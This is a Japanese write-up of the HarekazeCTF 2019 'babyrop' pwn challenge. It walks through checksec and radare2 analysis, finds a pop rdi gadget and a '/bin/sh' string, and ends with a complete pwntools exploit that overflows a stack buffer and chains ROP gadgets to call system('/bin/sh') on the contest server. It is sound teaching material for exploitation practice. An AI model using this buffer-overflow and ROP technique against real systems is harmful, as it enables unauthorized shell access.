HarekazeCTF 2019「babyrop (100pts)」之解き方
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
babyrop
プログラム解析
ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。
まず、checksec
を使い、ELFのセキュリティ機構を確認します。
RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください。
次にradare2
で開き、main関数の逆アセンブリを解析しましょう。
結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね
echo
シェルコマンドの文字列をrdi
に用意、system
を呼び出すのでメッセージを出力するscanf
を使い、任意なサイズの入力をスタック変数(rbp-0x10
)に読み込む- フォーマット形式と、
rbp-0x10
(前の入力)をレジスタで指定、printf
で入力を含めたメッセージを表示する
この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。
それでは、ROPを使うのでsystem("/bin/sh");
を実行することを目的としましょう。
シェル奪いの作戦
system
を呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、system
を呼び出した前に、シェルコマンド文字列へのポインターをedi
で指定したことがわかりますね。ちなみにedi
ですが、この場合に一緒なので、rdi
を使ってもOK。
したがって、edi
あるいはrdi
に値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2
にはそういうガジェットを発見するという機能がありますので、pop rdi
のガジェットを探してもらいましょう。
さすがradare2
ですね!よって0x00400683
には、pop rdi; ret
という命令が存在することがわかりました。
また、ポインターで指定できる"/bin/sh"
の文字列を検索しましょうか。
よし。0x601048
には、"/bin/sh"
という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!
エクスプロイト作成
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * from time import sleep pop_rdi = p64(0x400683) addr_binsh = p64(0x601048) call_system = p64(0x4005e3) payload = "a" * 0x10 # バッファーを超える payload += "b" * 8 # RBP payload += pop_rdi # ガジェットに移動する payload += addr_binsh # rdiにpopされる payload += call_system # 関数の呼び出しに移動する # sock = process(["./babyrop"]) sock = remote("problem.harekaze.com", 20001) sock.readuntil("? ") sock.sendline(payload) sleep(1) sock.interactive() sock.close()
シェルを奪い!
以上 HarekazeCTF-2019の「babyrop」のライトアップでした。
最後まで読んで頂き、ありがとうございました!